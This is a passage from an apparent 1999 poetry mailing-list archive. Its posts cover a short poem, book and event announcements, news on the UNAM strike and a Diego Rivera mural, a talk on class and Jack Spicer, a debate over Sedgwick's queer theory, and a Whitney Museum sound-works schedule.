Anselm's voice on my machine says
he is flying to France
to visit his mom and stepdad.

Former New York Yankee catcher Thurman Munson died
on this day 20 years ago,
practicing takeoffs and landings in his single-engine Cessna.

I machine wish Anselm safe flight,
hang up phone
and Grandma Minnie spray-spit "Poi-poi-poi."

_____
Be Good,
David

_____ Get Free Email and Do More On The Web. Visit http://www.msn.com

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216. Jack Ruttan
Fw: NORTH AMERICAN LAUNCHES OF BUDAVOX: POEMS 1990-1999 BY TODD SWIFT
Tue 17 Aug 1999

Subject:Fw: NORTH AMERICAN LAUNCHES OF BUDAVOX: POEMS 1990-1999 BY
TODD SWIFT
Date: Mon, 16 Aug 1999 19:29:12 +0200
From: "Todd Swift" <[redacted]>
To: "Todd Swift" <[redacted]>

The long-awaited North American launch(es) of the first major collection of poems - Budavox: poems 1990-1999 - from exiled Canadian writer/impresario Todd Swift ...

SEPTEMBER 27TH, 1999
MONDAY, 7:00 PM
INCOMMUNICADO PRESS/ BOOKSTORE
107 Norfolk Street, New York
(between Delancey & Rivington)

SEPTEMBER 30TH, 1999
THURSDAY, 8:30 PM
BLIZZART'S
Montreal, Canada

Followed by a book tour with readings in Toronto, Kingston and Ottawa - between October 1st and October 7th (dates and venues to be announced).

For more information, contact Todd Swift in Budapest at Tel: [redacted] or Email [redacted]

::

What poets are saying about Swift's Budavox :

Nicole Blackman (poet/performer, author of Blood Sugar):"Luminous, unexpected, lovely and unsettling, the images resonate long after the poems have ended."

Regie Cabico (NY performance poet, co-editor Poetry Nation):"Swift's eerie verse transforms suspicion to the lyrical. Kevin Spacey shakes hands with Catullus, savage and gentlemanly. He concocts Eros and murder in the sharp prisms of his imagination. The results: a deliciously carnivorous and ironic language."

Derek Mahon (Irish poet, author of The Yellow Book): "Swift is a voice for our times."

George Szirtes (British poet, author of Selected Poems, Oxford University Press, 1996) : "Swift's poems move between the familiar and exotic, from the meditative through the speculative. His poetic language too is on the move, from the crisp tentativeness of Elizabeth Bishop to the outer suburbs of Wallace Stevens and even, here and there, Ginsberg. The intimate is always threatened: reality is challenged by its myths. These poems show a young man exploring the world before him with intelligence, grace, even a certain bravado. They make a very auspicious first collection."

Adeena Karasick (poet/performer, author of Genrecide, Talon Books, 1996): "An intensely lyrical, speculative, contemplative interrogation of all that is twisted,

wounded, awe-filled and desperate... writing that is dark, swollen and balanced with great beauty."

Robert Priest (poet/performer, author of Resurrection in the Cartoon, ECW Press, 1997): "Complex, mysterious triggering poems often full of dark currents and understated hostilities that ruffle the feathers and unsettle - as good poetry should." ::::::

217. Poetics List Administration
The National Autonomous University of Mexico strike
Tue 17 Aug 1999

The following article is from this morning's NPR <www.npr.org>, but I've been unable to find much information in U.S. papers. A summary of the strike, which began on 20 April in response to the privatization of the university - and accompanying increase in tuition from two cents to $150 per year, in a country where minimum wage is approx. $2.50 US/day - is available at <http://www.geocities.com/CapitolHill/3843/UNAM.htm>. Other citations would be much appreciated.

Chris

--

Mexican School Strike

Classes at Mexico's largest university were supposed to start this week, but hundreds of thousands of striking students boycotted the return to class. The National Autonomous University of Mexico remains closed for a fourth month, and university officials say the semester has been indefinitely suspended. It appears that the strike, which was sparked by tuition increases, has broadened into a struggle over the future of Mexico and a protest of Mexico's embrace of the global free market economy.

from <http://www.npr.org/news/world/>
[RealAudio broadcast available at URL]

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218. Gwyn McVay
Gwyn McVay Is Taking The Metro
Tue 17 Aug 1999

Gwyn McVay Is Taking The Metro

I rock back on my butt bones
and know that in about two hours
I will be taking the DC Metro.

On this day many years ago talk-poet Frank O'Hara
was probably taking the Noo Yawk
subway, and writing about it.

I silent wish myself sharp elbows
and rapid flight to the dreary burbs
and this poem and a buck will get me there.

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219. Aldon Nielsen
screening noir
Tue 17 Aug 1999

The new issue of SCREENING NOIR is on-lone:

http://humanitas.ucsb.edu/~everett/news_letter/vol2iss23/intro.html

↑ Index

220. John Tranter
Diego Rivera mural rescussitated
Tue 17 Aug 1999

The list may find this of interest.
The story is borrowed from Wired Magazine's news page, at

http://www.wired.com/news/

==========
= New Media Boosts an Old Mural by Kendra Mayfield 3:00 a.m. 17.Aug.99.PDT SAN FRANCISCO -- When Mexico's master artist Diego Rivera created the mural Pan American Unity for the 1940 World's Fair, he fused images of art and technology to unite the peoples of the United States, Canada, and Mexico. World War II interrupted plans for a library to display the mural. It remained hidden until Rivera's death in 1957, when it was transported to the San Francisco City College theater, where it remains today -- widely unknown to the public.

See also: 'Web Seance' Summons Art

A new multimedia project hopes to revive Rivera's ideas in the digital and virtual realm. An interactive kiosk and Web site, launches 18 August at City College. They will attempt to restore the mural to public prominence, even as it returns to Rivera's theme of blending art and technology. "The mural represents a powerful historical statement of what has gone on in this century," said Julia Bergman, City College archivist. The multimedia project will expose the public to one of Rivera's most significant and unrecognized masterpieces,

she said, "a work of art that is so universal for so many people." Blending images of Mexican art and North American technology and innovation, Rivera's mural examines the convergence of ancient techniques and contemporary art. Ancient Mayan figures are juxtaposed with inventors from the Industrial Revolution like Thomas Edison and Henry Ford. Revolutionary South American heroes join North American political leaders to fight Nazism and preserve peace by extending the arts. In the center of the mural, a Canadian sculpting with an ax symbolizes the metamorphosis between old art forms and new techniques. "My mural ... is about the marriage of the artistic expression of the North and of the South on this continent," said Rivera in a 1940 interview. The artist envisioned "... this blending of the art of the Indian, the Mexican, the Eskimo, with the kind of urge which makes the machine." The current project revives Rivera's ideas of combining old ways of thinking in a modern context, using new, interactive methods to present the fresco to the public. The kiosk exhibit reflects the mural, with a wood and steel nautilus shell combining modern and ancient materials. Using a touch-screen, users can view the imagery of the 22-by-70 foot mural, its fresco technique, and its checkered history. Users can virtually enter the Aztec god figure of Quetzalcoatl and end up in a control room, where they can navigate within the mural. Viewers can zoom in on images to examine intricate brushstrokes and words hidden within the upper panels of the fresco. Sketches and drawings of Aztec figures morph from stone statues to polished images. The kiosk will feature film clips, which Rivera believed represented the perfect blending of art and technology. Viewers can tour the mural, listening to Rivera's voice while watching clips of some of the people who shaped the artist's life. "The motion picture is the ultimate development of mural painting," said Rivera in a 1940 interview, "and is the most original contribution to art made by North American culture." The portable kiosk will travel to schools and museums in the United States and Mexico as an experiment in distance-learning. With universal themes of diversity and multiculturalism that still resonate today, the mural offers an educational tool for teachers wanting to expose students to the art of mural-making and the history surrounding the mural. The exhibit may offer up to 40 courses, with CDs for teachers to distribute in computer labs. Educators may use Rivera's ideas to teach courses promoting cultural identity. Creative director Richard Rodrigues wants to create a distance-learning project in which a student in Mexico can interact with a student in California, or view restoration of the mural in real time through an onsite view cam. He hopes that learning about the mural's history will make kids think twice about defacing public buildings with graffiti. The mural kiosk is unique, because similar projects tend to cover many works of art. This one offers viewers a way to "look at a piece of art like no one has before," said Rodrigues. As the exhibit travels from place to place, students may add their own graphic panels to the mural by

scanning images that will be added to the exhibit. Individual artists can generate ideas and images from the mural, becoming mural-makers themselves.
==========
from John Tranter, editor, Jacket magazine

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221. Lynn Miller
from a Talk on Class
Wed 18 Aug 1999

SHOWING WHERE SLAVERY'S SHADOWS ALSO FALL (Part One).

3/27[95]

Sunrise. Upper West Side. Manhattan.

Aife's story of the servant's handwriting on the other side of the poet's manuscript --Maher/Dickinson--allegorized.

That by the time Steve Abbott writes the Conversations and dedicates them to Spicer--how fraught is this dedication?

The way in which Spicer's "infinitely small vocabulary" and grammar/syntax control mechanisms--that force of repression is so acute in his text--that the social/historical Real and his sexuality both enter in eruption (not the sexuality--the sexuality is key--its what opens up the Dictation--and the Poetics of Dictation and call to the Imaginary is key to read what was happening in the post-war years, what Blaser/Spicer/Duncan were on to. (Read the Olson/Creeley correspondence against this).

3/28[95]

In flight, across the continent. Layers/Stages/Phases of RELEASE. Repression. On a cultural field. Closure. What erupts. What comes through--into the open [in distorted form].

1. "O women women look how my words flow out"--The eruption of subjectivity, oceanic imaginary. The ghost of Dickinson in the ACTS Spicer issue, where is she? Killian's "Attention: Harlot" or in the French, Guglielmi's French? Un trou dans l'imagination. Invagination. Anal inscription.

2. Queering. Perversions of control. Determined functions. Graphic exposure. What is unsexed ("unfucking"). The Imaginary. The Utopian. The Land of Oz. "Somewhere over the Rainbow."

3. Postcolonial. Translation. The cultural/historical. The call to the cultural/historical conditions of social intercourse. The metaphor of opening up to infection from foreign agents/tongues. Dream of the possibility of putting an

end to Western/Eastern-Northern/Southern borders. Imminent degeneration of the English language--Dante's Latin--"Immigration Song." "The Lemon Song."

I remember Led Zeppelin I remember somewhere back there in the University reading a book by a Russian cultural critic whose last name started with a K and the first names that pop up are Kropotkin and Kruschev--bizarre substitutions--and then Kolokethias--though that one's Greek, and the name of the woman I spoke with on the phone calling from Iowa to San Francisco for information about the Jack Spicer conference--all I remember from that conversation now was that she said "O, wow,"--something I associated with California, the idea of California--Sherman Paul having claimed in a class that Gary Snyder was the first one to put "Wow" in a poem--but it wasn't in Sherman Paul's class that I was reading a book with a Moscow imprint--it was in the seminar of a professor who was denied tenure--(once on a panel about Art & Politics in the Weimar period he prefaced--recontextualized--his remarks by drawing attention to the U.S. bombing raid over Libya the day or two before--the raid that killed Khadafy's child--and this child showed up again when I was in Nicaragua--there was a free daycare center for factory workers named after her--I must have been struck enough by that--since I took a photograph of a child's painting that was on the wall of a hospital and rehab center for amputees--the drawing of a child standing on one leg (Spicer's seagull--my displacement of Spicer's seagull--and, yes, Ron, it's hard to think of anything less pure than a seagull's belly--except for a child's mind--the perversity of children--polymorphous perverse--and receivers of all casualties (I almost wrote casualties)--only a child in their intense inhabitation of the Imaginary could return the reality of war in a perfect image--a child looking like all the world like a crippled seagull--because it is unnatural to have your arms or legs blown off--whether you are 7 or 37 or 77--man woman or child--relative terms, all of them--I was thinking about Moscow--another relative term. This Russian cultural critic was drawing attention to the crippled talent of Jimmy Page--the division of labor in the making of art--that the Rock Star phenomenon has tragic dimensions--you become an icon--removed from both the club scene and the black music you stole--you get removed from your class--the absolute, fundamental condition for every artist in America from the working class no matter what art you make--high or low--and Jack Spicer wrote a high art that never forgot the low--and now that he's released his first CD and a Mystery Novel it's going to be interesting to see whether the terms of this new stage in his popularity will depend on bracketing out the "class" thing. There was this thing at the 1986 conference--something that carried into Bruce Boone's comment, his statement in the ACTS issue, "the little of Jack Spicer that remains"--the dislocation or dislodging that conference represented from the MANROOT context--that the body of work signed Jack Spicer was being opened

up to a larger reading/audience and what happens when that happens--and what was happening then?--not in the conference, per se, but outside? [Memory of Boone's comment about the disappearance of a radical gay community (no, I don't think there was any lesbian presence at that conference--the panelists were all male as were the contributors to the Spicer ACTS), something about co-optation--it was an offhand remark, but it had an economic content--]. What was in the MANROOT that gets mutated--softened--in the Spicer ACTS? "Three Marxist Essays" from THE SAN FRANCISCO CAPITALIST BLOODSUCKER-N. In the Spicer ACTS, there is a comment by Michael Davidson that Marxism-Leninism is a "safe" ideological position, and a typo in the text of his talk which leaves out the "i" and turns 'communism' into 'communsm'; Kevin Killian's displacement of Spicer's Martian's with the possibility of a poetics of Anonymity, "Anonymous is method of writing coming at you from unknown direction without a good reason"; a fascinating remark by Lew Ellingham about just how wide Spicer's work was opening at the end of his life, including the return of Trotsky--"Trotskyite bandits from the hills"--a wild return and recovery from the imperious and dead wrong suppression of "Lili who worked in the canneries" in the first pages of Robert Duncan's H.D. BOOK; Ron Silliman's recycling of the same line, "Trotskyite bandits from the hills" and displacement of Dictation with Translation (supplementing Spicer with Benjamin), which moves him into a reading of a Spicer with a far more theoretical grip on the problem of naming than someone like myself can read who wants to read, instead, the eruptions of Sex and Class that happen there; and then there is the marvel of Robin Blaser's anecdotal aside--that Emma Goldman and Rosa Luxumberg were heroines in Jack's mind, and that he never forgave the circumstances of his own birth, purchased at the cost of his father leaving the radical labor politics of the I.W.W. "Somehow never to forgive your own birth," Blaser said, thinking aloud. The trauma that the Art of Poetry represents for anyone coming out of conditions of cultural illiteracy. That includes all of us, you might say. No. Some can buy it, and some can't. Them that can't, that don't have it--on an economic level--dollars & cents--"for 15 cents I could ride a subway in New York" (Spicer's notebook fragment late '64) experience this lack--internalize this lack--and what you get from it is layers, walls of impediments when it comes to writing--the poetic act--impediments that run as deep if not deeper than speech impediments--we've been speaking their language for so long we no longer have one of our own--if we ever did have one--at least those of us who speak English--these impediments have everything to do with Repression--sexuality is, again, a common denominator, and, again, the "class" thing, is obscure, gets obscured--that the impediment so much a part of the consciousness of social class has to do with perceptions of the right to knowledge--that all property is theft--to quote Steve Abbott's introductory remarks to THE LIZARD CLUB, that all knowledge is property--if

these are extreme positions, I would only want to add that the division of society into classes puts us in an extreme condition.

[Note: This is the first part of a talk on CLASS held at my home on a panel which included Kathy Lou Schultz on Karen Brodine, and Aife Murray on Dickinson/Maher in the spring of 1995. I don't remember very many people being there that night (not to take away from the handful who came). The subject of social class was of course a bit of a problem, but I also had the impression--perhaps mistaken, or exaggerated--based on casual conversations and at least one letter--that Steve Abbott was more or less an obscure, if not difficult figure, hard to figure out. An enigma, not unlike James Clarence Mangan. The remainder of this talk seeks to place him as a North American Attila Jozsef, whose pronounced leftism and proto-communism meant a lot to me, though I was appalled to learn during the course of my last visit to SF of the willful, symptomatic forgetting of the (1981?) LEFT/WRITE conference (at least nobody'd ever mentioned it to me) more or less erased from history? Why? What happened? Who read? I think the event documents are buried in a couple of boxes in somebody's basement.]

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222. Jeffrey Jullich

oh my god: cut-ups / "homosexualization of the New Yorkavant-garde" -Reply

Wed 18 Aug 1999

>>> R M Daley <[redacted]> 08/13/99 04:45pm >>>
>>>1. please see sedgwick's intro to Novel Gazing, puclished Duke Press 1997
for a primer on "queer theory" which departs ferociously from, says a thousand goodbyes to, freud and his cronies whose arrested sexual (theory)
development foisted repression on any and everything not deemed 'natural'
or 'biological'

Is that what Sedgwick is saying? She uses the word "natural" only once, about the pleasure/reality principles, and for that, she places it in (ironic?) scare quotes: "This leaves pleasure-seeking as an always . . . underground wellspring of supposedly 'natural' motive" (p. 16).

As far as "his cronies", what about the Melanie Klein Sedgwick takes half her title from ("Reparative") and champions?

I don't know if I would call it a "primer"; to me, it seems a rather fine hermeneutical point she's sifting. And neither Sedgwick nor queer theory are

that proscriptive: she repeatedly advocates a kind of scholarly libertinism ("turns these essays take away from existing accounts of how 'one' ~should~ read, and back toward a . . . fecund question of how one ~does~", p. 2; "for someone to have an unmystified, angry view of . . . systemic oppressions does not . . . enjoin on that person any specific train of epistemological or narrative consequences", p. 4).

Yet, the queer theory people I personally knew in 1997 took considerable umbrage at Sedgwick's dictating to the community, labelling them. There are good reasons to take exception with her "Paranoid Reading and Reparative Reading".

Sedgwick seems to be taking her psychoanalysis menu-style, picking and choosing which Freudianisms she'll keep and which throw out. Even if, as you say, she's expurgating repression (repressing repression), the whole essay is, of course, about nothing less Freudian than--- paranoia! That's like saying no USA, but keeping Washington, D.C.

Which still doesn't keep Kathryn Bond Stockton and Anne Chandler, to name only two of the essayists in ~Novel Gazing,~ from going right ahead and using their fill of Freud for their queer theory (50-51, 224n).

All the same, hasn't Sedgwick's new and improved model 1999 ~Dialogue on Love~ out-trumped her own 1997 "Paranoid Reading . . ." into obsolescence, as far as repression goes? 1997: she may have had motives for rhetoric against queer theory's (other writers') reliance on psychoanalysis and repression,--- but when, 1999, it came to her memoirs and 'fessing up as to how she actually spent those years, she has no bones about publishing transcripts (cut-ups!) from psychotherapy sessions where she ~paid~ to unveil her own personal repressions. Doesn't that seem like double standards, prohibitive queer theory (no repression) versus indulgent private praxis (yes repression)?

Regardless, when I added "I mean this as queer theory, . . . which is always ~speculative"~ as the last sentence to my post (Sedgwick wrote: "there are important phenomenological and theoretical tasks that can be accomplished only through local theories and nonce taxonomies; the . . . mechanisms of their relation to stronger theories remains the matter of art and ~speculative~ thought", p. 23), maybe you're right and it's not queer theory; I shouldn't have blushed: I tossed that in as apologetics only because I was afraid someone might think what I wrote was "anti-gay." --- I wrote, "it's commutative, not ~additive",~ and Sedgwick wrote, "The desire of a reparative impulse . . . is ~additive~ and accretive" (p. 27): the two differentiations don't really seem that far apart to me.

But even if I am mistaken, she's already gotten there ahead of us: "'the importance of 'mistakes' in queer reading and writing . . . has a lot to do with

loosening the traumatic, inevitable-seeming connection between mistakes and humiliation. . . . (A) lot of queer energy, later on, goes into . . . practices aimed at taking the terror out of error, at making the making of mistakes sexy, creative, even cognitively powerful" (p. 25).

Maria Damon, for one, seems to agree about Earl Jackson that a good connection between "the homosexualization of the New York avant-garde" and cut-ups can at least be argued. Are you saying there is no connection?

>>>3. not everyone has to have babies - some women don't have babies - some women who fuck with men don't have babies - some women who fuck with women don't have babies - some women who fuck men have babies and then give them away - . . .

Gertrude Stein couldn't have said it better. (I did identify "the childless homosexual" as a fallacy.) True, all exhaustively true. But that's empiricism. I was speaking hypothetically.

JJ

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223. **jen hofer**
UNAM strike
Wed 18 Aug 1999

Hello.

Certainly there are other sources of information on news from Mexico, but for those of you who read Spanish, here is the address of La Jornada online, if you want a sense of what one of Mexico's largest daily papers has to say about the UNAM strike and/or any other topic. FYI, there's a fantastic literary/cultural supplement which comes out every Sunday, and is featured on the website.

http://serpiente.dgsca.unam.mx/jornada/index.html

Besos,

Jen

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224. **Joseph Conte**
Postmodern Piracy at Kent, Salem
Wed 18 Aug 1999

The Postmodern Piracy festival did occur, gracefully hosted by Doug Rice. There were, I think some reports on the proceedings back in June. Doug is

editing a collection of essays from the conference, tentatively to be published by Purdue UP.

There was a conference website at:

http://www.salem.kent.edu/conf/nobo/nobodaddies.html

Joseph Conte

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225. Daniel Carter
crosscurrentseas: waves "writing" e-list as you see/be it becomes aspiralling
Wed 18 Aug 1999

---

riddle announcement hear:

"we" got a new though now not so new though still relatively new tracing/marking/re-marking/lacing/stitching/collaging/interpolating/intertexting/weaving/knitting/sewing/sowing/disseminating/writing list here that "we" started, could be that you started it too, so "we" might well be "you" too (U-2?). it's basically an anarkisstic, chaos, free-associational, collaborative, type type thing, like a group o' folks (though right now the the number of members relatively small, about 36 or so) playing/singing music, dancing t' music, together, only we'd be writing together. though there would be no stipulation that anybody had to collaborate. one could write by one's l(onesome) and let everyone see what they came up with or one could do whatever, individually and/or collaboratively with one or more or no others. who knows how it would/could all work out or not?!. right now the list is called "crosscurrentseas", but that could very well be changed to reflect the intuition/vision/desire/dream/imagination/thought/feeling of the group.

http://crosscurrentseas.listbot.com/

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226. Dodie Bellamy
Re: from a Talk on Class
Wed 18 Aug 1999

At 2:49 AM -0400 8/18/99, Lynn Miller wrote:

> *though I was appalled to learn during the course of my last visit to SF of the willful, symptomatic forgetting of the (1981?) LEFT/WRITE conference (at least nobody'd ever mentioned it to me) more or less erased from history? Why? What happened? Who read? I think the event documents are buried in a couple of boxes in somebody's basement.]*

Come on, Kevin Magee, there is no conspiracy against forgetting Steve Abbott and the leftwrite conference. I would hardly call someone not mentioning something to you willful forgetting.

When his daughter Alysia was here on father's day and gave a talk on Steve at A Different Light Bookstore, it was well-publicized and well attended. She's put up a wonderful and popular website in Steve's honor:

http://www.steveabbott.com

In July it was chosen as yahoo's new site of the day and Alysia excitedly wrote us that it got 600 visitors the next day and a half:

http://dir.yahoo.com/new/19990714.html

I know a number of younger writers in SF very much interested in Steve's work.

And, as you well know, Kevin Killian is Steve's executor, and Steve's papers are not in somebody's basement somewhere--they're in a dry safe storage compartment for which we pay $$$$ for every month. Kevin's trying to get Steve's papers archived, but there's been snags there. Being an executor is a thankless task. Gibes like this are uncalled for.

Dodie

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227. Hank Lazer
Paul Naylor's new book
Wed 18 Aug 1999

Of possible interest to List-ers, Paul Naylor's hot off the press _Poetic Investigations: Singing the Holes in History_ (Northwestern University Press). Paul's book of criticism looks like a good one.

Contents
Introduction: Writing History Poetically
1. Susan Howe: Where Are We Now in Poetry?
2. Nathaniel Mackey: The "Mired Sublime"
3. Lyn Hejinian: Investigating "I"
4. Kamau Brathwaite: Tidalectic Rhythms
5. M. Nourbese Philip: "Dis Placing" Him

Naylor's writing draws on the work of Wittgenstein, Kristeva, Laclau, Mouffe, Benjamin, and de Certeau. As the editor of River City Review, he published lots of important writing by Brathwaite, Nourbese Philip, Mackey, and others.

My review copy arrived a couple of days ago--no price listed. Perhaps Rod Smith or someone else knows what the price is....

Hank Lazer

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228. Kenneth Goldsmith
The American Century Pt. II at the Whitney: Sound WorksCalendar
Wed 18 Aug 1999

The American Century Part II at The Whitney Museum of American Art: Sound Works Calendar

Here is the calendar for January:

I Am Sitting In A Room: Sound Works by American Artists: 1950-2000 Curated by Stephen Vitiello Advisors: Dara Birnbaum, Kenneth Goldsmith, Chrissie Iles, Alvin Lucier, Paul D. Miller, Barbara Moore, Ikue Mori, Bruce Nauman, Pauline Oliveros, Jim O'Rourke

TUESDAY January 11, 2000

12:00
John Cage, Series ray Morris Graves, 1974, 86:00 A reading from the text, which appears in its entirety in the book Empty Words: Writings 1973-78, by John Cage.
Courtesy of The John Cage Trust
1:30
Alvin Lucier, I Am Sitting In A Room (for voice on tape), 1970, 45:21
(Lovely Music, Ltd., 1990 LCD 1013)
Nicolas Collins, PEA SOUP, 1974, 15:00 (recorded 1999) (Courtesy of the artist)
3:00
Bruce Nauman, Record, 1969, 32:00. Sound Track from First Violin Film; Violin Problem No. 2, Rhythmic Stamping (Four Rhythms in Preparation for Video Tape Problems). Published by Tanglewood Press. Edition of 100.
Collection of The Whitney Museum of American Art
4:30
Bill Fontana, Sounds from Sculpture
- Kirribilli Wharf, Sydney, 1976, 2:53 excerpt
- Sound Sculpture with a Sequence of Level Crossings, Oakland, 1982, 10:41
- Oscillating Steel Grids along the Brooklyn Bridge, 1983, 3:00
- Oscillating Steel Grids along the Brooklyn Bridge, 1983, 5:00
- Sound Sculpture through the Golden Gate, 1987, 11:09

Alison Knowles, Bean Sequences/Bohnen Sequenz, broadcast 1982, 29:05. Performers: Alison Knowles and Klaus Schoning, George Brecht and Jessica Higgins. Courtesy of WDR, Cologne.

WEDNESDAY January 12, 2000

12:00
Annea Lockwood, A Sound Map Of The Hudson River, 1989, 120:00 (Courtesy of
the artist)
2:15
Glenn Gould, The Idea of North, 1967, 58:56 (CBC Records, PSCD 2003-3)
3:15
Alvin Lucier, Music On A Long Thin Wire, 72:00 (Lovely Music LCD 1011.)
4:30
Steve Reich, Come Out, 1966 (Reich Music Publications, BMI. CD released by Nonesuch), 1966 12:54
Paul Miller (aka DJ Spooky), Prosthetica 2000, 1999, 48:00 (courtesy of
the artist and Music + Art Management)

THURSDAY January 13, 2000

12:00 Philip Glass, Music in Twelve Parts, 1974, 206:00 (Nonesuch Records 79324-2) 3:30 Laetitia Sonami, What Happened, 1987, 7:04. Text: Melody Sumner Carnahan (from Imaginary Landscapes compilation CD, Nonesuch Records) Laetitia Sonami, Has/Had, 1997, 11:09. Text: Melody Sumner Callaghan (courtesy of the artist) Ellen Fullman, Harmonic Cross Sweep: Overtone Series of C Chord Progression (5:06) and Backward Bunny Hop (2:48) from the CD Change of Direction, New Albion Records, (NA 102 CD) Terry Riley, Mescalin Mix, 1960-62, 14:17 (Cortical Foundation) 4:30 John Cage, Williams Mix (1952), from: The 25-Year Retrospective Concert of the Music of John Cage, recorded in performance at Town Hall, New York, May 15, 1958. Wergo. (c) Edition Peters. David Tudor, WEB for John Cage, broadcast 1987, 4:00. Produced on the occasion of NachtCageTag. Courtesy of WDR, Cologne. Christian Marclay, Record without a Cover, 1985, 19:36 (Locus Solus) Jim O'Rourke, Rules of Reduction, 1993, 16:52 (Metamkine MKCD009) 6:00 Allan Kaprow, 18 Happenings in 6 Parts, 1958, four channels, 7:00 each (courtesy of the artist) Maryanne Amacher, "Living Sound Patent Pending (St. Paul 1980)" MUSIC FOR SOUND-JOINED ROOMS SERIES (1980-). Dual channel remastered excerpts: 16'; 11' (courtesy of the artist)

FRIDAY January 14, 2000

12:00 Robert Ashley, String Quartet Describing the Motion of Large Real Bodies, 1972, 25:00. Performers: Robert Ashley: violin, Sam Ashley and "Blue" Gene Tyranny: Moog Synthesizer processing. (courtesy of Alga Marghen Moltrasio (como), Italy and Lovely Music Ltd.) David Behrman, Runthrough, 1967-68, 12:09. Performers: Robert Ashley, Alvin Lucier, Gordon Mumma and

David Behrman. (plana-B 5NMN.020, courtesy of Lovely Music Ltd.) Gordon Mumma, Hornpipe (courtesy of Lovely Music Ltd.)

1:30
Charlotte Moorman program - including live concert recording with Nam June Paik, Aachen 1966 (Courtesy of the Estate of Charlotte Moorman)

3:00
Paul De Marinis, Pygmy Gamelan, 1973, 9:32 (Lovely Music, 1978 publication)
Gordon Monahan, Speaker Swinging, 1987, 24:30 (GM 002)
Terry Fox, Berlin Attic Wire, Beating, 1981, 24:44 (Edition S Press & Plate Lunch PL 06)
Ikue Mori, Garden, 1996, excerpts (Tzadik 7020)

4:30

Vito Acconci, Ten Packed Minutes, 1977, 12:47 musical excerpts from the recordings of Leon Redbone, Cow Cow Davenport, Eric Dolphy, Karl Berger and Ornette Coleman. From the lp Airwaves, One Ten Records 001/2, 1977 Laurie Anderson, Two Songs for Tape Bow Violin: Ethics is the Esthetics of the Few-ture (Lenin), Song for Juanita, 1977, 4:06 Laurie Anderson, Is Anybody Home, 1976, 4:27 - for boat horn, camera, stairs, piano and voice From the lp Airwaves, One Ten Records 001/2, 1977 Dara Birnbaum, Bruckner's Symphony No. 5 in B Dur', in collaboration with TOMANDANDY, 1995, 10 min. 34 sec (courtesy of the artist) Cecil Taylor, 5'66, from the album Chinampas / Leo Records Vito Acconci, Running Tape, 1969, 30:00 (courtesy of the artist)

SATURDAY January 15, 2000

12:00
Alvin Lucier, I Am Sitting In A Room (for voice on tape), 1970/1990, 45:21 (Lovely Music, Ltd., 1990 LCD 1013)
Nicolas Collins, PEA SOUP, 1974, 15:00 (recorded 1999) (courtesy of the artist)
David Tudor, WEB for John Cage, broadcast 1987, 4:00. Produced on the occasion of NachtCageTag. Courtesy of WDR, Cologne.
1:30
Tony Oursler with Larry Miller, Possession (Guitar, Conversation, Drum, Song, Growl), 1986, 16:00 minutes (courtesy of the artist)
Mike Kelley, The Peristaltic Airwaves, 1986, 39:00. Performed live on KPFK Radio, Los Angeles (courtesy of the artist)
Lou Reed, Metal Machine Music: An Electronic Instrumental Composition, 1975 16:00 (excerpt) (BMG/RCA ND 90670)
3:00
John Cage, Series ray Morris Graves, 1974, 86:00 A reading from the text, which appears in its entirety in the book Empty Words: Writings 1973-78, by

John Cage.
Courtesy of The John Cage Trust
4:30
Glenn Branca, Symphony No. 1 (Tonal Plexus), 1981, 11:46 excerpt
(ROIR RUSCD 8245)
Tony Conrad, Four Violins, 1964, 32:30 (Table of the Elements)
Pauline Oliveros, I of IV, 1966, 25:30 (Paradigm Discs PD 04)

SUNDAY January 16, 2000

12:00
Bob Bielecki and Connie Kieltykya, Field Recordings, 1987-88, 40:00
(courtesy of the artists)
David Tudor, Rainforest version 1 (1968) 21:47 for the Merce Cunningham Dance
Company. Performed by David Tudor and Takehisa Kosugi. (Mode 64)
1:30
Ken Nordine, The Sound Museum,from "The Best of Word Jazz, Vol. 1"
(Rhino Records, 1990, RS 70773), originally from "Word Jazz" (Dot Jazz Horizons), 1957, 7:09
Coyle and Sharpe, Maniacs in a Living Hell, from the LP "The Insane
(but Hilarious) Minds of Coyle and Sharpe (Warner Brothers W1573),
originally broadcast on KGO radio in San Francisco, early 1960s. 5:30
William S. Burroughs + Brion Gysin, Recalling All Active Agents, made
for the BBC, 1960, 1:25 (from the CD "William S. Burroughs, Break Through in the
Grey Room", Sub Rosa Aural Documents, SUBCD006-8).
Negativland, I Still Haven't Found What I'm Looking For "U2," SST Records
(SSTCD 272), 1991
A Capella Mix 7:21
Special Edit Radio Mix 5:51
Gregory Whitehead, Dead Letters: A Broadcast Colloquium, 1994 (CD, Staalplaat
STCD 091)
Part 1: The Philographer, 17:00
Charles Amirkhanian, Church Car, Version 2, recorded 1981, 2:55 from the
LP "Mental Radio" (CRI SD 523).
Pamela Z, Geekspeak , 1995, 7:32 (Sonic Circuits 4 / INNOVA)
Edwin Torres, Holy Kid (Kill Rock Stars):
1-Non Musical Noises (:10)
2-Untitled Eternity (1:28)
3-A Wutherance of E (2:48)
4-We Speak Say Nothing (Looking for the Frog Boys) (2:56)

Joan La Barbara and Kenneth Goldsmith, 73 Poems, 1994, 7:42 (excerpt: Poems 1-15) (Lovely Music Ltd.)
3:00
FluxTellus
Program selection by Barbara Moore. Produced as Tellus #24, 1990 cassette release,
(courtesy of Harvestworks, NY). 65:00
Thomas Schmit, No. 13 from Sanitas-200 Theatre Pieces, 1962. Recorded NYC, March 28-April 11, 1990.
George Brecht&James Tenney with George Maciunas, Entrance...(excerpt), 1962. Recorded Bell Labs, Murray Hill, NJ, 1962.
Emmett Williams, Voice Piece for La Monte Young, 1963. Recorded Studio PASS, NYC, March 28, 29 and April 4, 1990.
Thomas Schmit, No. 13...
Joe Jones, Flux Music Box, 1966. Recorded Studio PASS, NYC, March 15, 1990.
Thomas Schmit, No. 13...
Jackson Mac Low, A Piece for Sari Dienes, 1960. Performers: Jackson Mac Low and Anne Tardos. Recorded Studio PASS, NYC, March 28, 1990.
Thomas Schmit, No. 13...
La Monte Young, "89 VI 8 c. 1:42-1:52 AM Paris Encore" from Poem for Chairs, Table, Benches, etc., 1960. Performance under the direction of La Monte Young. Presented by Galerie, 1900/2000/ Recorded by Jean-Marc Foussat,
L'Ecole des Beaux Arts, Paris, June 8, 1989.
Thomas Schmit, No. 13...
Philip Corner, Carrot Chew Piece Performance, 1964. Performer: Phillip Corner. Recorded Studio PASS, NYC, April 4, 1990.
Thomas Schmit, No. 13...
Dick Higgins, Danger Music Number Seventeen, 1962. Performer: Dick Higgins. Recorded Kingston, NY, March 8, 1990.
Thomas Schmit, No. 13...
George Brecht&James Tenney with George Maciunas,...Exit (excerpt), 1962. Recorded Bell Labs, Murray Hill, NJ, 1962.
Thomas Schmit, No. 13...
